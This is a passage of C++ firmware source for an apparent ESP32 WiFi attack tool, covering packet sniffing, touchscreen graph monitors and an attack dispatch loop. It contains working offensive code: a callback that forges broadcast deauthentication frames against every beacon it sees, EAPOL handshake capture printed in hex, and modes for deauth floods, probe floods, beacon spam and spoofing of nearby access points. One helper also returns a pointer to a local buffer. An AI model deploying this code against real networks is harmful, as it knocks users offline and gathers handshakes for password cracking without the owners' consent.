  1992. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1993. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1994. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1995. int len = snifferPacket->rx_ctrl.sig_len;
  1996. if (type == WIFI_PKT_MGMT)
  1997. {
  1998. len -= 4;
  1999. int fctl = ntohs(frameControl->fctl);
  2000. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2001. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2002. }
  2003. // Found beacon frame. Decide whether to deauth
  2004. if (snifferPacket->payload[0] == 0x80) {
  2005. // Build packet
  2006. uint8_t new_packet[26] = {
  2007. 0xc0, 0x00, 0x3a, 0x01,
  2008. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2009. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2010. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2011. 0xf0, 0xff, 0x02, 0x00
  2012. };
  2013. new_packet[10] = snifferPacket->payload[10];
  2014. new_packet[11] = snifferPacket->payload[11];
  2015. new_packet[12] = snifferPacket->payload[12];
  2016. new_packet[13] = snifferPacket->payload[13];
  2017. new_packet[14] = snifferPacket->payload[14];
  2018. new_packet[15] = snifferPacket->payload[15];
  2019. new_packet[16] = snifferPacket->payload[10];
  2020. new_packet[17] = snifferPacket->payload[11];
  2021. new_packet[18] = snifferPacket->payload[12];
  2022. new_packet[19] = snifferPacket->payload[13];
  2023. new_packet[20] = snifferPacket->payload[14];
  2024. new_packet[21] = snifferPacket->payload[15];
  2025. // Send packet
  2026. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2027. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2028. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2029. }
  2030. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2031. num_eapol++;
  2032. Serial.println("Received EAPOL:");
  2033. for (int i = 0; i < len; i++) {
  2034. char hexCar[4];
  2035. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2036. Serial.print(hexCar);
  2037. //Serial.print(snifferPacket->payload[i], HEX);
  2038. if ((i + 1) % 16 == 0)
  2039. Serial.print("\n");
  2040. else
  2041. Serial.print(" ");
  2042. }
  2043. Serial.print("\n");
  2044. }
  2045. if (save_packet)
  2046. sd_obj.addPacket(snifferPacket->payload, len);
  2047. }
  2048. #ifdef HAS_SCREEN
  2049. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2050. {
  2051. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2052. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2053. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2054. {
  2055. currentTime = millis();
  2056. do_break = false;
  2057. y_pos_x = 0;
  2058. y_pos_y = 0;
  2059. y_pos_z = 0;
  2060. boolean pressed = false;
  2061. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2062. // Do the touch stuff
  2063. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2064. if (pressed) {
  2065. Serial.print("Got touch | X: ");
  2066. Serial.print(t_x);
  2067. Serial.print(" Y: ");
  2068. Serial.println(t_y);
  2069. }
  2070. // Check buttons for presses
  2071. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2072. {
  2073. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2074. {
  2075. display_obj.key[b].press(true);
  2076. } else {
  2077. display_obj.key[b].press(false);
  2078. }
  2079. }
  2080. // Which buttons pressed
  2081. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2082. {
  2083. if (display_obj.key[b].justPressed())
  2084. {
  2085. Serial.println("Bro, key pressed");
  2086. //do_break = true;
  2087. }
  2088. if (display_obj.key[b].justReleased())
  2089. {
  2090. do_break = true;
  2091. // Channel - button pressed
  2092. if (b == 4) {
  2093. if (set_channel > 1) {
  2094. Serial.println("Shit channel down");
  2095. set_channel--;
  2096. delay(70);
  2097. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2098. //display_obj.tftDrawXScaleButtons(x_scale);
  2099. //display_obj.tftDrawYScaleButtons(y_scale);
  2100. display_obj.tftDrawChannelScaleButtons(set_channel);
  2101. display_obj.tftDrawExitScaleButtons();
  2102. changeChannel();
  2103. break;
  2104. }
  2105. }
  2106. // Channel + button pressed
  2107. else if (b == 5) {
  2108. if (set_channel < MAX_CHANNEL) {
  2109. Serial.println("Shit channel up");
  2110. set_channel++;
  2111. delay(70);
  2112. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2113. //display_obj.tftDrawXScaleButtons(x_scale);
  2114. //display_obj.tftDrawYScaleButtons(y_scale);
  2115. display_obj.tftDrawChannelScaleButtons(set_channel);
  2116. display_obj.tftDrawExitScaleButtons();
  2117. changeChannel();
  2118. break;
  2119. }
  2120. }
  2121. else if (b == 6) {
  2122. Serial.println("Exiting packet monitor...");
  2123. this->StartScan(WIFI_SCAN_OFF);
  2124. //display_obj.tft.init();
  2125. this->orient_display = true;
  2126. return;
  2127. }
  2128. }
  2129. }
  2130. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2131. //Serial.println("-----------------------------------------");
  2132. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2133. x_pos += x_scale;
  2134. initTime = millis();
  2135. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2136. if (y_pos_x >= HEIGHT_1) {
  2137. Serial.println("Max EAPOL number reached. Adjusting...");
  2138. num_eapol = 0;
  2139. }
  2140. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2141. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2142. //Serial.println("num_beacon: " + (String)num_beacon);
  2143. //Serial.println("num_deauth: " + (String)num_deauth);
  2144. //Serial.println(" num_probe: " + (String)num_probe);
  2145. //num_beacon = 0;
  2146. //num_probe = 0;
  2147. //num_deauth = 0;
  2148. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2149. //Plot "X" value
  2150. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2151. //Plot "Z" value
  2152. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2153. //Plot "Y" value
  2154. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2155. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2156. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2157. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2158. {
  2159. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2160. }
  2161. else
  2162. {
  2163. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2164. }
  2165. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2166. //if (x_pos <= 90)
  2167. if (x_pos < 0) // below x axis
  2168. {
  2169. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2170. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2171. }
  2172. else
  2173. {
  2174. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2175. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2176. }
  2177. //tftDisplayTime();
  2178. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2179. {
  2180. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2181. }
  2182. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2183. //y_pos_y_old = y_pos_y;
  2184. //y_pos_z_old = y_pos_z;
  2185. //delay(50);
  2186. }
  2187. sd_obj.main();
  2188. }
  2189. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2190. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2191. display_obj.tftDrawChannelScaleButtons(set_channel);
  2192. display_obj.tftDrawExitScaleButtons();
  2193. display_obj.tftDrawEapolColorKey();
  2194. display_obj.tftDrawGraphObjects(x_scale);
  2195. }
  2196. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2197. {
  2198. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2199. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2200. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2201. {
  2202. currentTime = millis();
  2203. do_break = false;
  2204. y_pos_x = 0;
  2205. y_pos_y = 0;
  2206. y_pos_z = 0;
  2207. boolean pressed = false;
  2208. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2209. // Do the touch stuff
  2210. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2211. if (pressed) {
  2212. Serial.print("Got touch | X: ");
  2213. Serial.print(t_x);
  2214. Serial.print(" Y: ");
  2215. Serial.println(t_y);
  2216. }
  2217. // Check buttons for presses
  2218. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2219. {
  2220. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2221. {
  2222. display_obj.key[b].press(true);
  2223. } else {
  2224. display_obj.key[b].press(false);
  2225. }
  2226. }
  2227. // Which buttons pressed
  2228. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2229. {
  2230. if (display_obj.key[b].justPressed())
  2231. {
  2232. Serial.println("Bro, key pressed");
  2233. //do_break = true;
  2234. }
  2235. if (display_obj.key[b].justReleased())
  2236. {
  2237. do_break = true;
  2238. // X - button pressed
  2239. if (b == 0) {
  2240. if (x_scale > 1) {
  2241. x_scale--;
  2242. delay(70);
  2243. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2244. display_obj.tftDrawXScaleButtons(x_scale);
  2245. display_obj.tftDrawYScaleButtons(y_scale);
  2246. display_obj.tftDrawChannelScaleButtons(set_channel);
  2247. display_obj.tftDrawExitScaleButtons();
  2248. break;
  2249. }
  2250. }
  2251. // X + button pressed
  2252. else if (b == 1) {
  2253. if (x_scale < 6) {
  2254. x_scale++;
  2255. delay(70);
  2256. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2257. display_obj.tftDrawXScaleButtons(x_scale);
  2258. display_obj.tftDrawYScaleButtons(y_scale);
  2259. display_obj.tftDrawChannelScaleButtons(set_channel);
  2260. display_obj.tftDrawExitScaleButtons();
  2261. break;
  2262. }
  2263. }
  2264. // Y - button pressed
  2265. else if (b == 2) {
  2266. if (y_scale > 1) {
  2267. y_scale--;
  2268. delay(70);
  2269. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2270. display_obj.tftDrawXScaleButtons(x_scale);
  2271. display_obj.tftDrawYScaleButtons(y_scale);
  2272. display_obj.tftDrawChannelScaleButtons(set_channel);
  2273. display_obj.tftDrawExitScaleButtons();
  2274. //updateMidway();
  2275. break;
  2276. }
  2277. }
  2278. // Y + button pressed
  2279. else if (b == 3) {
  2280. if (y_scale < 9) {
  2281. y_scale++;
  2282. delay(70);
  2283. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2284. display_obj.tftDrawXScaleButtons(x_scale);
  2285. display_obj.tftDrawYScaleButtons(y_scale);
  2286. display_obj.tftDrawChannelScaleButtons(set_channel);
  2287. display_obj.tftDrawExitScaleButtons();
  2288. //updateMidway();
  2289. break;
  2290. }
  2291. }
  2292. // Channel - button pressed
  2293. else if (b == 4) {
  2294. if (set_channel > 1) {
  2295. Serial.println("Shit channel down");
  2296. set_channel--;
  2297. delay(70);
  2298. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2299. display_obj.tftDrawXScaleButtons(x_scale);
  2300. display_obj.tftDrawYScaleButtons(y_scale);
  2301. display_obj.tftDrawChannelScaleButtons(set_channel);
  2302. display_obj.tftDrawExitScaleButtons();
  2303. changeChannel();
  2304. break;
  2305. }
  2306. }
  2307. // Channel + button pressed
  2308. else if (b == 5) {
  2309. if (set_channel < MAX_CHANNEL) {
  2310. Serial.println("Shit channel up");
  2311. set_channel++;
  2312. delay(70);
  2313. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2314. display_obj.tftDrawXScaleButtons(x_scale);
  2315. display_obj.tftDrawYScaleButtons(y_scale);
  2316. display_obj.tftDrawChannelScaleButtons(set_channel);
  2317. display_obj.tftDrawExitScaleButtons();
  2318. changeChannel();
  2319. break;
  2320. }
  2321. }
  2322. else if (b == 6) {
  2323. Serial.println("Exiting packet monitor...");
  2324. this->StartScan(WIFI_SCAN_OFF);
  2325. //display_obj.tft.init();
  2326. this->orient_display = true;
  2327. return;
  2328. }
  2329. }
  2330. }
  2331. if (currentTime - initTime >= GRAPH_REFRESH) {
  2332. //Serial.println("-----------------------------------------");
  2333. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2334. x_pos += x_scale;
  2335. initTime = millis();
  2336. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2337. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2338. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2339. //Serial.println("num_beacon: " + (String)num_beacon);
  2340. //Serial.println("num_deauth: " + (String)num_deauth);
  2341. //Serial.println(" num_probe: " + (String)num_probe);
  2342. num_beacon = 0;
  2343. num_probe = 0;
  2344. num_deauth = 0;
  2345. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2346. //Plot "X" value
  2347. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2348. //Plot "Z" value
  2349. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2350. //Plot "Y" value
  2351. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2352. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2353. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2354. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2355. {
  2356. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2357. }
  2358. else
  2359. {
  2360. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2361. }
  2362. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2363. //if (x_pos <= 90)
  2364. if (x_pos < 0) // below x axis
  2365. {
  2366. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2367. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2368. }
  2369. else
  2370. {
  2371. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2372. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2373. }
  2374. //tftDisplayTime();
  2375. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2376. {
  2377. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2378. }
  2379. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2380. y_pos_y_old = y_pos_y;
  2381. y_pos_z_old = y_pos_z;
  2382. //delay(50);
  2383. }
  2384. sd_obj.main();
  2385. }
  2386. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2387. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2388. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2389. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2390. display_obj.tftDrawYScaleButtons(y_scale);
  2391. display_obj.tftDrawChannelScaleButtons(set_channel);
  2392. display_obj.tftDrawExitScaleButtons();
  2393. display_obj.tftDrawColorKey();
  2394. display_obj.tftDrawGraphObjects(x_scale);
  2395. }
  2396. #endif
  2397. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2398. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2399. // showMetadata(snifferPacket, type);
  2400. //}
  2401. void WiFiScan::changeChannel()
  2402. {
  2403. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2404. delay(1);
  2405. }
  2406. // Function to cycle to the next channel
  2407. void WiFiScan::channelHop()
  2408. {
  2409. this->set_channel = this->set_channel + 1;
  2410. if (this->set_channel > 13) {
  2411. this->set_channel = 1;
  2412. }
  2413. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2414. delay(1);
  2415. }
  2416. char* WiFiScan::stringToChar(String string) {
  2417. char buf[string.length() + 1] = {};
  2418. string.toCharArray(buf, string.length() + 1);
  2419. return buf;
  2420. }
  2421. // Function for updating scan status
  2422. void WiFiScan::main(uint32_t currentTime)
  2423. {
  2424. // WiFi operations
  2425. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2426. (currentScanMode == WIFI_SCAN_AP) ||
  2427. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2428. (currentScanMode == WIFI_SCAN_PWN) ||
  2429. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2430. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2431. (currentScanMode == WIFI_SCAN_ALL))
  2432. {
  2433. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2434. {
  2435. initTime = millis();
  2436. channelHop();
  2437. }
  2438. }
  2439. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2440. {
  2441. #ifdef HAS_SCREEN
  2442. packetMonitorMain(currentTime);
  2443. #endif
  2444. }
  2445. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2446. {
  2447. #ifdef HAS_SCREEN
  2448. eapolMonitorMain(currentTime);
  2449. #endif
  2450. }
  2451. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2452. {
  2453. #ifdef HAS_SCREEN
  2454. eapolMonitorMain(currentTime);
  2455. #endif
  2456. }
  2457. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2458. for (int i = 0; i < 55; i++)
  2459. this->sendProbeAttack(currentTime);
  2460. if (currentTime - initTime >= 1000) {
  2461. initTime = millis();
  2462. String displayString = "";
  2463. String displayString2 = "";
  2464. displayString.concat(text18);
  2465. displayString.concat(packets_sent);
  2466. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2467. displayString2.concat(" ");
  2468. #ifdef HAS_SCREEN
  2469. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2470. display_obj.showCenterText(displayString2, 160);
  2471. display_obj.showCenterText(displayString, 160);
  2472. #endif
  2473. packets_sent = 0;
  2474. }
  2475. }
  2476. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2477. for (int i = 0; i < 55; i++)
  2478. this->sendDeauthAttack(currentTime);
  2479. if (currentTime - initTime >= 1000) {
  2480. initTime = millis();
  2481. String displayString = "";
  2482. String displayString2 = "";
  2483. displayString.concat(text18);
  2484. displayString.concat(packets_sent);
  2485. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2486. displayString2.concat(" ");
  2487. #ifdef HAS_SCREEN
  2488. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2489. display_obj.showCenterText(displayString2, 160);
  2490. display_obj.showCenterText(displayString, 160);
  2491. #endif
  2492. packets_sent = 0;
  2493. }
  2494. }
  2495. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2496. // Need this for loop because getTouch causes ~10ms delay
  2497. // which makes beacon spam less effective
  2498. for (int i = 0; i < access_points->size(); i++) {
  2499. if (access_points->get(i).selected)
  2500. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2501. random(256),
  2502. random(256),
  2503. random(256),
  2504. random(256),
  2505. random(256)}});
  2506. }
  2507. if (currentTime - initTime >= 1000)
  2508. {
  2509. initTime = millis();
  2510. //Serial.print("packets/sec: ");
  2511. //Serial.println(packets_sent);
  2512. String displayString = "";
  2513. String displayString2 = "";
  2514. displayString.concat(text18);
  2515. displayString.concat(packets_sent);
  2516. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2517. displayString2.concat(" ");
  2518. #ifdef HAS_SCREEN
  2519. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2520. display_obj.showCenterText(displayString2, 160);
  2521. display_obj.showCenterText(displayString, 160);
  2522. #endif
  2523. packets_sent = 0;
  2524. }
  2525. }
  2526. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2527. {
  2528. // Need this for loop because getTouch causes ~10ms delay
  2529. // which makes beacon spam less effective
  2530. for (int i = 0; i < 55; i++)
  2531. broadcastRandomSSID(currentTime);
  2532. if (currentTime - initTime >= 1000)
  2533. {
  2534. initTime = millis();
  2535. //Serial.print("packets/sec: ");
  2536. //Serial.println(packets_sent);
  2537. String displayString = "";
  2538. String displayString2 = "";
  2539. displayString.concat(text18);
  2540. displayString.concat(packets_sent);
  2541. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2542. displayString2.concat(" ");
  2543. #ifdef HAS_SCREEN
  2544. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2545. display_obj.showCenterText(displayString2, 160);
  2546. display_obj.showCenterText(displayString, 160);
  2547. #endif
  2548. packets_sent = 0;
  2549. }
  2550. }
  2551. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2552. for (int i = 0; i < ssids->size(); i++)
  2553. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2554. if (currentTime - initTime >= 1000)
  2555. {
  2556. initTime = millis();
  2557. packets_sent = 0;
  2558. }
  2559. }
  2560. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2561. for (int i = 0; i < access_points->size(); i++) {
  2562. if (access_points->get(i).selected)
  2563. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2564. }
  2565. if (currentTime - initTime >= 1000) {
  2566. initTime = millis();
  2567. packets_sent = 0;
  2568. }
  2569. }
  2570. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2571. {
  2572. // Need this for loop because getTouch causes ~10ms delay
  2573. // which makes beacon spam less effective
  2574. for (int i = 0; i < 7; i++)
  2575. {
  2576. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2577. {
  2578. broadcastSetSSID(currentTime, rick_roll[x]);
  2579. }
  2580. }
  2581. if (currentTime - initTime >= 1000)
  2582. {
  2583. initTime = millis();
  2584. //Serial.print("packets/sec: ");
  2585. //Serial.println(packets_sent);
  2586. String displayString = "";
  2587. String displayString2 = "";
  2588. displayString.concat(text18);
  2589. displayString.concat(packets_sent);
  2590. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2591. displayString2.concat(" ");
  2592. #ifdef HAS_SCREEN
  2593. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2594. display_obj.showCenterText(displayString2, 160);
  2595. display_obj.showCenterText(displayString, 160);
  2596. #endif
  2597. packets_sent = 0;
  2598. }
  2599. }
  2600. }